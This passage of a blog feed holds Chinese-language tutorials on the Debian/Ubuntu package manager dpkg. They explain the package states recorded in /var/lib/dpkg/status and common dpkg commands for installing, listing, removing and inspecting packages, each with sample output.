&lt;tr&gt;&lt;td&gt;install&lt;&#x2F;td&gt;&lt;td&gt;包被选中安装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;hold&lt;&#x2F;td&gt;&lt;td&gt;标记为此状态的包不会被 dpkg 处理，除非指定 --force-hold 参数强制处理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;deinstall&lt;&#x2F;td&gt;&lt;td&gt;包被选中卸载（例如我们想移除包内除了配置文件之外的所有文件）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;purge&lt;&#x2F;td&gt;&lt;td&gt;包被选中完全移除（包中的所有文件（包含配置文件）都被移除）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unknown&lt;&#x2F;td&gt;&lt;td&gt;未知的包选择状态&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;3-package-flags&quot;&gt;3. Package flags&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;标志&lt;&#x2F;th&gt;&lt;th&gt;功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ok&lt;&#x2F;td&gt;&lt;td&gt;包处于已知状态但可能需要进一步的处理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;reinsreq&lt;&#x2F;td&gt;&lt;td&gt;包损坏且需要重新安装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;zhen-shi-huan-jing-zhong-de-nei-rong-shi-li&quot;&gt;真实环境中的内容示例&lt;&#x2F;h3&gt;
&lt;p&gt;available 文件示例内容如下；&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;..........
Package: whiptail
Source: newt
Version: 0.52.20-8
Installed-Size: 70
Maintainer: Alastair McKinstry &amp;lt;mckinstry@debian.org&amp;gt;
Architecture: amd64
Depends: libc6 (&amp;gt;= 2.14), libnewt0.52 (&amp;gt;= 0.52.20), libpopt0 (&amp;gt;= 1.14), libslang2 (&amp;gt;= 2.2.4)
Description: Displays user-friendly dialog boxes from shell scripts
Description-md5: 845a08009ef9f0ef4ecc0aedd3a36ffa
Multi-Arch: foreign
Homepage: https:&amp;#x2F;&amp;#x2F;pagure.io&amp;#x2F;newt
Tag: implemented-in::c, interface::TODO, interface::text-mode, role::program,
 scope::utility, use::viewing
Section: utils
Priority: important
Filename: pool&amp;#x2F;main&amp;#x2F;n&amp;#x2F;newt&amp;#x2F;whiptail_0.52.20-8_amd64.deb
Size: 39356
MD5sum: afe221a9833b61e885392b5622168af6
SHA256: f281a4773127cc66ff56e0c0150789055adfaa9f08834c0ee76a71caff9f90c0
..........
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;status 文件中的一个示例内容如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;.........
Package: whiptail
Status: install ok installed
Priority: important
Section: utils
Installed-Size: 70
Maintainer: Alastair McKinstry &amp;lt;mckinstry@debian.org&amp;gt;
Architecture: amd64
Multi-Arch: foreign
Source: newt
Version: 0.52.20-8
Depends: libc6 (&amp;gt;= 2.14), libnewt0.52 (&amp;gt;= 0.52.20), libpopt0 (&amp;gt;= 1.14), libslang2 (&amp;gt;= 2.2.4)
Description: Displays user-friendly dialog boxes from shell scripts
 Whiptail is a &amp;quot;dialog&amp;quot; replacement using newt instead of ncurses. It
 provides a method of displaying several different types of dialog boxes
 from shell scripts. This allows a developer of a script to interact with
 the user in a much friendlier manner.
Homepage: https:&amp;#x2F;&amp;#x2F;pagure.io&amp;#x2F;newt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;status 文件相较 avaialble 文件，少了一些与 deb 相关的项目，增加了 Status 项目。此项目的一个示例如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Status: install ok installed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此状态表明程序安装成功，它由三个状态组成：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Package 状态为 installed 表明安装与配置完成&lt;&#x2F;li&gt;
&lt;li&gt;Package selection 状态为 install 表明包被选中安装&lt;&#x2F;li&gt;
&lt;li&gt;Package flags 为 ok 表明包处于已知状态&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;备注（此处的解读缺少官方文档说明）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dpkg-dui-var-lib-dpkg-mu-lu-wen-jian-de-shi-yong&quot;&gt;dpkg 对 &#x2F;var&#x2F;lib&#x2F;dpkg 目录文件的使用&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;dpkg-l-ming-ling&quot;&gt;dpkg -l 命令&lt;&#x2F;h4&gt;
&lt;p&gt;命令执行示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@virt-debian10:&amp;#x2F;tmp&amp;#x2F;etc# dpkg -l
期望状态=未知(u)&amp;#x2F;安装(i)&amp;#x2F;删除(r)&amp;#x2F;清除(p)&amp;#x2F;保持(h)
| 状态=未安装(n)&amp;#x2F;已安装(i)&amp;#x2F;仅存配置(c)&amp;#x2F;仅解压缩(U)&amp;#x2F;配置失败(F)&amp;#x2F;不完全安装(H)&amp;#x2F;触发器等待(W)&amp;#x2F;触发器未决(T)
|&amp;#x2F; 错误?=(无)&amp;#x2F;须重装(R) (状态，错误：大写=故障)
||&amp;#x2F; 名称                                 版本                            体系结构     描述
+++-====================================-===============================-============-===============================================================================
ii  acpi-support-base                    0.142-8                         all          scripts for handling base ACPI events such as the power button
ii  acpid                                1:2.0.31-1                      amd64        Advanced Configuration and Power Interface event daemon
ii  acpitool                             0.5.1-4+b4                      amd64        command line ACPI client
ii  adduser                              3.118                           all          add and remove users and groups
ii  adwaita-icon-theme                   3.30.1-1                        all          default icon theme of GNOME
ii  apparmor                             2.13.2-10                       amd64        user-space parser utility for AppArmor
ii  apt                                  1.8.2.1                         amd64        commandline package manager
ii  apt-listchanges                      3.19                            all          package change history notification tool
ii  apt-utils                            1.8.2.1                         amd64        package management related utility programs
ii  arch-test                            0.15-2+deb10u1                  all          detect architectures supported by your machine&amp;#x2F;kernel
ii  at-spi2-core                         2.30.0-7                        amd64        Assistive Technology Service Provider Interface (dbus core)
.......
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述输出内容的来源就是 &#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;status 文件。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;neng-gou-cong-var-lib-dpkg-status-wen-jian-zhong-huo-qu-dao-shen-me-xin-xi&quot;&gt;能够从 &#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;status 文件中获取到什么信息？&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;系统中可用的包列表&lt;&#x2F;li&gt;
&lt;li&gt;系统中已经安装的包列表&lt;&#x2F;li&gt;
&lt;li&gt;每个包的版本、依赖关系、适用架构、安装状态等信息&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux Ubuntu dpkg 命令详解</title>
        <published>2024-07-17T00:00:00+00:00</published>
        <updated>2024-07-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-ubuntu-dpkg-命令详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-ubuntu-dpkg-命令详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-ubuntu-dpkg-命令详解/">&lt;h2 id=&quot;ubuntu-xi-tong-dpkg-ming-ling-shi-yong-xiang-jie&quot;&gt;Ubuntu 系统 dpkg &lt;strong&gt;命令使用详解&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;　　&lt;code&gt;dpkg&lt;&#x2F;code&gt; 即 package manager for Debian ，是 Debian 和基于 Debian 的系统中一个主要的&lt;strong&gt;包管理工具&lt;&#x2F;strong&gt;，可以用来安装、构建、卸载、管理 &lt;code&gt;deb&lt;&#x2F;code&gt; 格式的软件包。dpkg的主要和更友好的前端是aptitude。DPKG本身完全由命令行参数控制，命令行参数只包含一个动作和零个或多个选项。动作参数告诉dpkg要做什么，选项以某种方式控制动作的行为。&lt;&#x2F;p&gt;
&lt;p&gt;　　 　　｀dpkg｀ 主要是用来安装已经下载到本地的 ｀deb｀ 软件包，或者对已经安装好的软件进行管理。&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;code&gt;apt&lt;&#x2F;code&gt;和｀apt-get｀是类似红帽系的&lt;code&gt;yum&lt;&#x2F;code&gt;工具，能够自行解决&lt;code&gt;deb&lt;&#x2F;code&gt;包的依赖关系。直接从远程的软件仓库下载安装软件。apt命令可可参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;my-show-time&#x2F;p&#x2F;15530658.html&quot;&gt;Linux apt 命令&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;dpkg-ming-ling-ming-ling-xiang-jie&quot;&gt;dpkg 命令命令详解&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#dpkg-%E5%91%BD%E4%BB%A4%E5%91%BD%E4%BB%A4%E8%AF%A6%E8%A7%A3&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -i &lt;&#x2F;code&gt;手动安装软件包(这个命令并不能解决软件包之前的依赖性问题),如果在安装某一个软件包的时候遇到了软件依赖的问题,可以用apt-get -f install在解决信赖性这个问题.&lt;&#x2F;p&gt;
&lt;p&gt;　　　 　　　&lt;code&gt;dpkg --info  &quot;软件包名&quot;&lt;&#x2F;code&gt; --列出软件包解包后的包名称.&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -l &amp;lt;package_name_pattern&amp;gt;&lt;&#x2F;code&gt;--列出当前系统中所有的包.可以和参数less一起使用在分屏查看. (类似于rpm -qa)&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -l &amp;lt;package_name_pattern&amp;gt;&lt;&#x2F;code&gt; 查询软件包的信息&lt;&#x2F;p&gt;
&lt;p&gt;　　　 　　　&lt;code&gt;dpkg -l |grep -i &quot;软件包名&quot;&lt;&#x2F;code&gt; --查看系统中与&quot;软件包名&quot;相关联的包.&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -s &lt;&#x2F;code&gt;查询已安装的包的详细信息.&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -L &lt;&#x2F;code&gt;查询系统中已安装的软件包所安装的位置. (类似于rpm -ql)&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -S &lt;&#x2F;code&gt;查询系统中某个文件属于哪个软件包. (类似于rpm -qf)&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -I &lt;&#x2F;code&gt;查询deb包的详细信息,在一个软件包下载到本地之后看看用不用安装(看一下呗).&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -r &lt;&#x2F;code&gt;卸载软件包.不是完全的卸载,它的配置文件还存在.&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -P &lt;&#x2F;code&gt;全部卸载(但是还是不能解决软件包的依赖性的问题)&lt;&#x2F;p&gt;
&lt;p&gt;　　　&lt;code&gt;dpkg -reconfigure &lt;&#x2F;code&gt;重新配置&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;ruan-jian-an-zhuang&quot;&gt;软件安装&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#%E8%BD%AF%E4%BB%B6%E5%AE%89%E8%A3%85&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;$ sudo dpkg -i fping_4.2-1_amd64.deb
(正在读取数据库 ... 系统当前共安装有 252654 个文件和目录。)
准备解压 fping_4.2-1_amd64.deb  ...
正在解压 fping (4.2-1) 并覆盖 (4.2-1) ...
正在设置 fping (4.2-1) ...
正在处理用于 man-db (2.8.5-2) 的触发器 ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;cha-xun-vimbao-xin-xi&quot;&gt;查询vim包信息&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#%E6%9F%A5%E8%AF%A2vim%E5%8C%85%E4%BF%A1%E6%81%AF&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;$ dpkg -l vim
Desired=Unknown&amp;#x2F;Install&amp;#x2F;Remove&amp;#x2F;Purge&amp;#x2F;Hold
| Status=Not&amp;#x2F;Inst&amp;#x2F;Conf-files&amp;#x2F;Unpacked&amp;#x2F;halF-conf&amp;#x2F;Half-inst&amp;#x2F;trig-aWait&amp;#x2F;Trig-pend
|&amp;#x2F; Err?=(none)&amp;#x2F;Reinst-required (Status,Err: uppercase=bad)
||&amp;#x2F; Name           Version             Architecture Description
+++-==============-===================-============-=================================
ii  vim            2:8.1.2269-1ubuntu5 amd64        Vi IMproved - enhanced vi editor
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;lie-chu-yi-an-zhuang-de-ruan-jian&quot;&gt;列出已安装的软件&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#%E5%88%97%E5%87%BA%E5%B7%B2%E5%AE%89%E8%A3%85%E7%9A%84%E8%BD%AF%E4%BB%B6&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;可以使用 &lt;code&gt;dpkg -l&lt;&#x2F;code&gt; 命令列出当前系统中已经安装的软件以及软件包的&lt;strong&gt;状态&lt;&#x2F;strong&gt;。如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;$ dpkg -l
期望状态=未知(u)&amp;#x2F;安装(i)&amp;#x2F;删除(r)&amp;#x2F;清除(p)&amp;#x2F;保持(h)
| 状态=未安装(n)&amp;#x2F;已安装(i)&amp;#x2F;仅存配置(c)&amp;#x2F;仅解压缩(U)&amp;#x2F;配置失败(F)&amp;#x2F;不完全安装(H)&amp;#x2F;触发器等待(W)&amp;#x2F;触发器未决(T)
|&amp;#x2F; 错误?=(无)&amp;#x2F;须重装(R) (状态，错误：大写=故障)
||&amp;#x2F; 名称                                          版本                                体系结构     描述
+++-=============================================-===================================-============-===============================================================================
ii  2048-qt                                       0.1.6-1build1                       amd64        mathematics based puzzle game
ii  accountsservice                               0.6.50-0ubuntu1                     amd64        query and manipulate user account information
ii  acl                                           2.2.53-4                            amd64        access control list - utilities
ii  acpi-support                                  0.143                               amd64        scripts for handling many ACPI events
ii  acpid                                         1:2.0.31-1ubuntu2                   amd64        Advanced Configuration and Power Interface event daemon
ii  adduser                                       3.118ubuntu1                        all          add and remove users and groups
ii  adwaita-icon-theme                            3.32.0-1ubuntu1                     all          default icon theme of GNOME (small subset)
ii  alsa-base                                     1.0.25+dfsg-0ubuntu5                all          ALSA driver configuration files
ii  alsa-utils                                    1.1.8-1ubuntu1                      amd64        Utilities for configuring and using ALSA
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该命令每行输出中的第一列 &lt;code&gt;ii&lt;&#x2F;code&gt; 表示软件包的安装和配置状态，其格式如下：
&lt;code&gt;期望状态|当前状态|错误&lt;&#x2F;code&gt;
其中&lt;strong&gt;期望状态&lt;&#x2F;strong&gt;有以下几种&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;u：即 unknown，软件包未安装且用户未请求安装&lt;&#x2F;li&gt;
&lt;li&gt;i：即 install，用户请求安装该软件包&lt;&#x2F;li&gt;
&lt;li&gt;r：即 remove，用户请求卸载该软件包&lt;&#x2F;li&gt;
&lt;li&gt;p：即 purge，用户请求卸载该软件包并清理配置文件&lt;&#x2F;li&gt;
&lt;li&gt;h：即 hold，用户请求保持续当前软件包版本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;当前状态&lt;&#x2F;strong&gt; 有以下几种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;n：即 not-installed，软件包未安装&lt;&#x2F;li&gt;
&lt;li&gt;i：即 installed，软件包已安装并完成配置&lt;&#x2F;li&gt;
&lt;li&gt;c：即 config-files，软件包已经被卸载，但是其配置文件未清理&lt;&#x2F;li&gt;
&lt;li&gt;u：即 unpacked，软件包已经被解压缩，但还未配置&lt;&#x2F;li&gt;
&lt;li&gt;f：即 half-configured，配置软件包时出现错误&lt;&#x2F;li&gt;
&lt;li&gt;w：即 triggers-awaited，触发器等待&lt;&#x2F;li&gt;
&lt;li&gt;t：即 triggers-pending，触发器未决&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;错误状态&lt;&#x2F;strong&gt; 有以下几种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;h：软件包被强制保持&lt;&#x2F;li&gt;
&lt;li&gt;r：即 reinstall-required，需要卸载并重新安装&lt;&#x2F;li&gt;
&lt;li&gt;x：软件包被破坏&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此 &lt;code&gt;ii&lt;&#x2F;code&gt; 表示该软件需要安装且已经安装，没有出现错误；
&lt;code&gt;iu&lt;&#x2F;code&gt; 表示已经安装该软件，但未正确配置；
&lt;code&gt;rc&lt;&#x2F;code&gt; 表示该软件已经被删除，但配置文件未清理。&lt;&#x2F;p&gt;
&lt;p&gt;查看处于 &lt;code&gt;rc&lt;&#x2F;code&gt; 状态的软件包：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;$ dpkg -l | grep ^rc
rc  libmhash2:amd64                               0.9.9.9-7                           amd64        Library for cryptographic hashing and message authentication
rc  linux-image-5.0.0-13-generic                  5.0.0-13.14                         amd64        Signed kernel image generic
rc  linux-modules-5.0.0-13-generic                5.0.0-13.14                         amd64        Linux kernel extra modules for version 5.0.0 on 64 bit x86 SMP
rc  linux-modules-extra-5.0.0-13-generic          5.0.0-13.14                         amd64        Linux kernel extra modules for version 5.0.0 on 64 bit x86 SMP
rc  zabbix-proxy-mysql                            1:4.0.4+dfsg-1                      amd64        network monitoring solution - proxy (using MySQL)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此外，还可以使用 &lt;code&gt;dpkg -l &amp;lt;package_name_pattern&amp;gt;&lt;&#x2F;code&gt; 命令筛选出名称中包含指定模式的软件包。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;$ dpkg -l &amp;quot;nginx*&amp;quot;
期望状态=未知(u)&amp;#x2F;安装(i)&amp;#x2F;删除(r)&amp;#x2F;清除(p)&amp;#x2F;保持(h)
| 状态=未安装(n)&amp;#x2F;已安装(i)&amp;#x2F;仅存配置(c)&amp;#x2F;仅解压缩(U)&amp;#x2F;配置失败(F)&amp;#x2F;不完全安装(H)&amp;#x2F;触发器等待(W)&amp;#x2F;触发器未决(T)
|&amp;#x2F; 错误?=(无)&amp;#x2F;须重装(R) (状态，错误：大写=故障)
||&amp;#x2F; 名称           版本            体系结构     描述
+++-==============-===============-============-=========================================================
ii  nginx          1.15.9-0ubuntu1 all          small, powerful, scalable web&amp;#x2F;proxy server
ii  nginx-common   1.15.9-0ubuntu1 all          small, powerful, scalable web&amp;#x2F;proxy server - common files
ii  nginx-core     1.15.9-0ubuntu1 amd64        nginx web&amp;#x2F;proxy server (standard version)
un  nginx-doc      &amp;lt;无&amp;gt;            &amp;lt;无&amp;gt;         (无描述)
un  nginx-extras   &amp;lt;无&amp;gt;            &amp;lt;无&amp;gt;         (无描述)
un  nginx-full     &amp;lt;无&amp;gt;            &amp;lt;无&amp;gt;         (无描述)
un  nginx-light    &amp;lt;无&amp;gt;            &amp;lt;无&amp;gt;         (无描述)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xie-zai-ruan-jian&quot;&gt;卸载软件&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#%E5%8D%B8%E8%BD%BD%E8%BD%AF%E4%BB%B6&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;dpkg&lt;&#x2F;code&gt; 命令的 &lt;code&gt;-r&lt;&#x2F;code&gt; 选项可以用来卸载已安装的软件包，此时只需要指定软件的名称即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;$ sudo dpkg -r vim
(正在读取数据库 ... 系统当前共安装有 252653 个文件和目录。)
正在卸载 vim (2:8.1.0320-1ubuntu3.1) ...
update-alternatives: 使用 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim.tiny 来在自动模式中提供 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vi (vi)
update-alternatives: 使用 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim.tiny 来在自动模式中提供 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;view (view)
update-alternatives: 使用 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim.tiny 来在自动模式中提供 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ex (ex)
update-alternatives: 使用 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim.tiny 来在自动模式中提供 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;rview (rview)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要注意的是，&lt;code&gt;-r&lt;&#x2F;code&gt; 选项只会移除指定的软件包而不对其配置文件产生影响，可以使用 &lt;code&gt;-P&lt;&#x2F;code&gt; 选项在删除软件包的同时清理配置文件。
&lt;code&gt;sudo dpkg -P &amp;lt;package&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;cha-kan-ruan-jian-bao-de-nei-rong&quot;&gt;查看软件包的内容&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;dpkg -c &amp;lt;package_file_path&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;$ dpkg -c fping_4.2-1_amd64.deb
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;
-rwxr-xr-x root&amp;#x2F;root     52128 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;fping
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;bug&amp;#x2F;
-rwxr-xr-x root&amp;#x2F;root       118 2017-06-19 05:19 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;bug&amp;#x2F;fping
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;
-rw-r--r-- root&amp;#x2F;root       495 2017-09-06 08:00 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;NEWS.Debian.gz
-rw-r--r-- root&amp;#x2F;root      1615 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;changelog.Debian.gz
-rw-r--r-- root&amp;#x2F;root      3445 2017-12-07 04:09 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;copyright
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;lintian&amp;#x2F;
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;lintian&amp;#x2F;overrides&amp;#x2F;
-rw-r--r-- root&amp;#x2F;root        41 2017-06-19 05:19 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;lintian&amp;#x2F;overrides&amp;#x2F;fping
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;
drwxr-xr-x root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;man8&amp;#x2F;
-rw-r--r-- root&amp;#x2F;root      5733 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;man8&amp;#x2F;fping.8.gz
-rw-r--r-- root&amp;#x2F;root      1512 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;man8&amp;#x2F;fping6.8.gz
lrwxrwxrwx root&amp;#x2F;root         0 2019-02-20 06:27 .&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;fping6 -&amp;gt; fping
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;cha-kan-ruan-jian-bao-yi-an-zhuang-de-xiang-xi-xin-xi&quot;&gt;查看软件包（已安装）的详细信息&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;dpkg -s &amp;lt;package&amp;gt;` 或 `dpkg --status &amp;lt;package&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;$ dpkg -s fping
Package: fping
Status: deinstall ok installed
Priority: optional
Section: net
Installed-Size: 87
Maintainer: Ubuntu Developers &amp;lt;ubuntu-devel-discuss@lists.ubuntu.com&amp;gt;
Architecture: amd64
Version: 4.2-1
Depends: libcap2-bin, netbase, libc6 (&amp;gt;= 2.15)
Enhances: netdata (&amp;gt;= 1.5)
Description: sends ICMP ECHO_REQUEST packets to network hosts
 fping is a ping like program which uses the Internet Control Message Protocol
 (ICMP) echo request to determine if a target host is responding.  fping
 differs from ping in that you can specify any number of targets on the command
 line, or specify a file containing the lists of targets to ping.  Instead of
 sending to one target until it times out or replies, fping will send out a
 ping packet and move on to the next target in a round-robin fashion.
Original-Maintainer: Axel Beckert &amp;lt;abe@debian.org&amp;gt;
